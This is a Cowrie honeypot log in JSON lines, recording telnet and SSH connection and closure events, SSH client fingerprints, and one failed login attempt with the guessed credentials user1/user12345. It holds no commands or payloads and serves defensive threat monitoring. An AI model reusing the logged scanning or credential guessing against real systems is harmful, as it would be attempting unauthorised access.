{"eventid":"cowrie.session.closed","duration":43.32847595214844,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:58.567101Z","src_ip":"165.232.131.181","session":"81b75244e040","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42592,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b75608b53de","protocol":"telnet","message":"New connection: 62.210.97.77:42592 (10.17.0.5:23) [session: 2b75608b53de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:56:59.110023Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42594,"dst_ip":"10.17.0.5","dst_port":23,"session":"90966bbb1170","protocol":"telnet","message":"New connection: 62.210.97.77:42594 (10.17.0.5:23) [session: 90966bbb1170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:00.937338Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":51138,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff494c43d7bb","protocol":"telnet","message":"New connection: 38.54.119.93:51138 (10.17.0.5:23) [session: ff494c43d7bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:01.279082Z"}
{"eventid":"cowrie.session.closed","duration":35.377336502075195,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:02.176130Z","src_ip":"62.210.97.77","session":"cc0f494996b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.39015030860901,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:02.328573Z","src_ip":"165.232.131.181","session":"8d959ca1eda9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42608,"dst_ip":"10.17.0.5","dst_port":23,"session":"969b2a92a410","protocol":"telnet","message":"New connection: 62.210.97.77:42608 (10.17.0.5:23) [session: 969b2a92a410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:02.436822Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42620,"dst_ip":"10.17.0.5","dst_port":23,"session":"0260a1577073","protocol":"telnet","message":"New connection: 62.210.97.77:42620 (10.17.0.5:23) [session: 0260a1577073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:02.456272Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42636,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6be5a7a591c","protocol":"telnet","message":"New connection: 62.210.97.77:42636 (10.17.0.5:23) [session: b6be5a7a591c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:03.750348Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42652,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab57dc6d9502","protocol":"telnet","message":"New connection: 62.210.97.77:42652 (10.17.0.5:23) [session: ab57dc6d9502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:04.176944Z"}
{"eventid":"cowrie.session.closed","duration":41.68029975891113,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:04.668611Z","src_ip":"165.232.131.181","session":"19826154f2a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.435811996459961,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:04.714783Z","src_ip":"38.54.119.93","session":"ff494c43d7bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.607699155807495,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:05.293133Z","src_ip":"165.232.131.181","session":"fd56fbed73d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35004,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d8f41b98d94","protocol":"telnet","message":"New connection: 62.210.97.77:35004 (10.17.0.5:23) [session: 1d8f41b98d94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:10.527546Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":38300,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cc23c259f86","protocol":"telnet","message":"New connection: 165.232.131.181:38300 (10.17.0.5:23) [session: 6cc23c259f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:12.583916Z"}
{"eventid":"cowrie.session.closed","duration":39.379411458969116,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:13.394342Z","src_ip":"62.210.97.77","session":"52c07f04d787","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.173256397247314,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:14.287747Z","src_ip":"163.0.72.31","session":"f8e8f8630428","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.646706104278564,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:14.341362Z","src_ip":"165.232.131.181","session":"8e94749211cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.14144682884216,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:14.562239Z","src_ip":"65.60.27.33","session":"af99053c06a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.514769315719604,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:15.970915Z","src_ip":"62.210.97.77","session":"ff39ccb0df7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.14125061035156,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:16.234960Z","src_ip":"62.210.97.77","session":"6d1ba70d3d97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.121.192.73","src_port":4778,"dst_ip":"159.203.135.109","dst_port":23,"session":"d220f56eaf3e","protocol":"telnet","message":"New connection: 168.121.192.73:4778 (159.203.135.109:23) [session: d220f56eaf3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:20.824032Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55478,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee4916d39879","protocol":"telnet","message":"New connection: 65.60.27.33:55478 (10.17.0.5:23) [session: ee4916d39879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:21.966180Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56192,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcf709c6b31d","protocol":"telnet","message":"New connection: 62.210.97.77:56192 (10.17.0.5:23) [session: dcf709c6b31d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:26.307412Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":39756,"dst_ip":"159.203.135.109","dst_port":22,"session":"074010b059ba","protocol":"ssh","message":"New connection: 181.234.2.36:39756 (159.203.135.109:22) [session: 074010b059ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:30.749455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:30.755484Z","src_ip":"181.234.2.36","session":"074010b059ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:30.849240Z","src_ip":"181.234.2.36","session":"074010b059ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user12345","message":"login attempt [user1/user12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:31.247810Z","src_ip":"181.234.2.36","session":"074010b059ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:32.342322Z","src_ip":"181.234.2.36","session":"074010b059ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.054245471954346,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:34.164214Z","src_ip":"62.210.97.77","session":"2b75608b53de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":45878,"dst_ip":"10.17.0.5","dst_port":23,"session":"ead9e76a9ddf","protocol":"telnet","message":"New connection: 165.232.131.181:45878 (10.17.0.5:23) [session: ead9e76a9ddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:34.550581Z"}
{"eventid":"cowrie.session.closed","duration":32.64455270767212,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:35.100680Z","src_ip":"62.210.97.77","session":"0260a1577073","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.521360635757446,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:35.458580Z","src_ip":"62.210.97.77","session":"90966bbb1170","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.033941984176636,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:37.470654Z","src_ip":"62.210.97.77","session":"969b2a92a410","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.67952585220337,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:37.856380Z","src_ip":"62.210.97.77","session":"ab57dc6d9502","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.9028167724609375,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:38.453236Z","src_ip":"165.232.131.181","session":"ead9e76a9ddf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":47442,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c543bc69319","protocol":"telnet","message":"New connection: 165.232.131.181:47442 (10.17.0.5:23) [session: 0c543bc69319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:38.716284Z"}
{"eventid":"cowrie.session.closed","duration":37.92910861968994,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:41.679338Z","src_ip":"62.210.97.77","session":"b6be5a7a591c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.38575887680054,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:43.913181Z","src_ip":"62.210.97.77","session":"1d8f41b98d94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.20984387397766,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:44.465091Z","src_ip":"38.54.119.93","session":"6b84a23c3125","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.159.221.52","src_port":53434,"dst_ip":"159.203.135.109","dst_port":23,"session":"36c5fb0c176c","protocol":"telnet","message":"New connection: 178.159.221.52:53434 (159.203.135.109:23) [session: 36c5fb0c176c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:46.186607Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55384,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b1a25d68016","protocol":"telnet","message":"New connection: 65.60.27.33:55384 (10.17.0.5:23) [session: 5b1a25d68016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:47.010322Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35256,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6af791ef016","protocol":"telnet","message":"New connection: 62.210.97.77:35256 (10.17.0.5:23) [session: b6af791ef016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:47.392972Z"}
{"eventid":"cowrie.session.closed","duration":57.50732350349426,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:50.166771Z","src_ip":"165.232.131.181","session":"13a770ff2b3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55934,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4eea89a13f5","protocol":"telnet","message":"New connection: 62.210.97.77:55934 (10.17.0.5:23) [session: e4eea89a13f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:53.328852Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55950,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a9ed11a64dd","protocol":"telnet","message":"New connection: 62.210.97.77:55950 (10.17.0.5:23) [session: 8a9ed11a64dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:57.904714Z"}
{"eventid":"cowrie.session.closed","duration":31.833198070526123,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:58.140500Z","src_ip":"62.210.97.77","session":"dcf709c6b31d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.708746194839478,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:57:58.895240Z","src_ip":"178.159.221.52","session":"36c5fb0c176c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.87428045272827,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:00.840343Z","src_ip":"65.60.27.33","session":"ee4916d39879","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":56752,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcfcfdd84824","protocol":"telnet","message":"New connection: 165.232.131.181:56752 (10.17.0.5:23) [session: bcfcfdd84824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:05.183079Z"}
{"eventid":"cowrie.session.closed","duration":56.45497417449951,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:09.038802Z","src_ip":"165.232.131.181","session":"6cc23c259f86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":53624,"dst_ip":"10.17.0.5","dst_port":23,"session":"8af55f61da55","protocol":"telnet","message":"New connection: 65.60.27.33:53624 (10.17.0.5:23) [session: 8af55f61da55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:11.123335Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58412,"dst_ip":"10.17.0.5","dst_port":23,"session":"803825157d0a","protocol":"telnet","message":"New connection: 62.210.97.77:58412 (10.17.0.5:23) [session: 803825157d0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:12.667765Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":43646,"dst_ip":"10.17.0.5","dst_port":23,"session":"676255aeeb82","protocol":"telnet","message":"New connection: 38.54.119.93:43646 (10.17.0.5:23) [session: 676255aeeb82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:15.253533Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58426,"dst_ip":"10.17.0.5","dst_port":23,"session":"d466eedffb02","protocol":"telnet","message":"New connection: 62.210.97.77:58426 (10.17.0.5:23) [session: d466eedffb02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:16.403675Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58272,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6f1980c1cf2","protocol":"telnet","message":"New connection: 62.210.97.77:58272 (10.17.0.5:23) [session: c6f1980c1cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:18.889082Z"}
{"eventid":"cowrie.session.closed","duration":35.58140516281128,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:22.974259Z","src_ip":"62.210.97.77","session":"b6af791ef016","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.21253800392151,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:24.222754Z","src_ip":"65.60.27.33","session":"5b1a25d68016","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":36656,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1677d53327f","protocol":"telnet","message":"New connection: 165.232.131.181:36656 (10.17.0.5:23) [session: f1677d53327f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:24.817414Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":42266,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f4b3e43e0c1","protocol":"telnet","message":"New connection: 65.60.27.33:42266 (10.17.0.5:23) [session: 7f4b3e43e0c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:25.665387Z"}
{"eventid":"cowrie.session.closed","duration":0.8800461292266846,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:26.545331Z","src_ip":"65.60.27.33","session":"7f4b3e43e0c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58278,"dst_ip":"10.17.0.5","dst_port":23,"session":"66a82064dc2e","protocol":"telnet","message":"New connection: 62.210.97.77:58278 (10.17.0.5:23) [session: 66a82064dc2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:27.927568Z"}
{"eventid":"cowrie.session.closed","duration":36.07982015609741,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:29.408556Z","src_ip":"62.210.97.77","session":"e4eea89a13f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.79462957382202,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:30.510766Z","src_ip":"165.232.131.181","session":"0c543bc69319","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.165480852127075,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:32.070086Z","src_ip":"62.210.97.77","session":"8a9ed11a64dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":46826,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9f5319f35c9","protocol":"telnet","message":"New connection: 62.210.97.77:46826 (10.17.0.5:23) [session: a9f5319f35c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:36.685866Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":42694,"dst_ip":"10.17.0.5","dst_port":23,"session":"99e72d958b0f","protocol":"telnet","message":"New connection: 165.232.131.181:42694 (10.17.0.5:23) [session: 99e72d958b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:40.314059Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":60242,"dst_ip":"10.17.0.5","dst_port":23,"session":"42790cec06a1","protocol":"telnet","message":"New connection: 38.54.119.93:60242 (10.17.0.5:23) [session: 42790cec06a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:40.847059Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":60660,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb6b862156b7","protocol":"telnet","message":"New connection: 38.54.119.93:60660 (10.17.0.5:23) [session: eb6b862156b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:41.528547Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":47718,"dst_ip":"159.203.135.109","dst_port":22,"session":"946c61a6255b","protocol":"ssh","message":"New connection: 80.94.92.182:47718 (159.203.135.109:22) [session: 946c61a6255b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:42.315380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:42.456706Z","src_ip":"80.94.92.182","session":"946c61a6255b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:58:42.529069Z","src_ip":"80.94.92.182","session":"946c61a6255b","protocol":"ssh"}
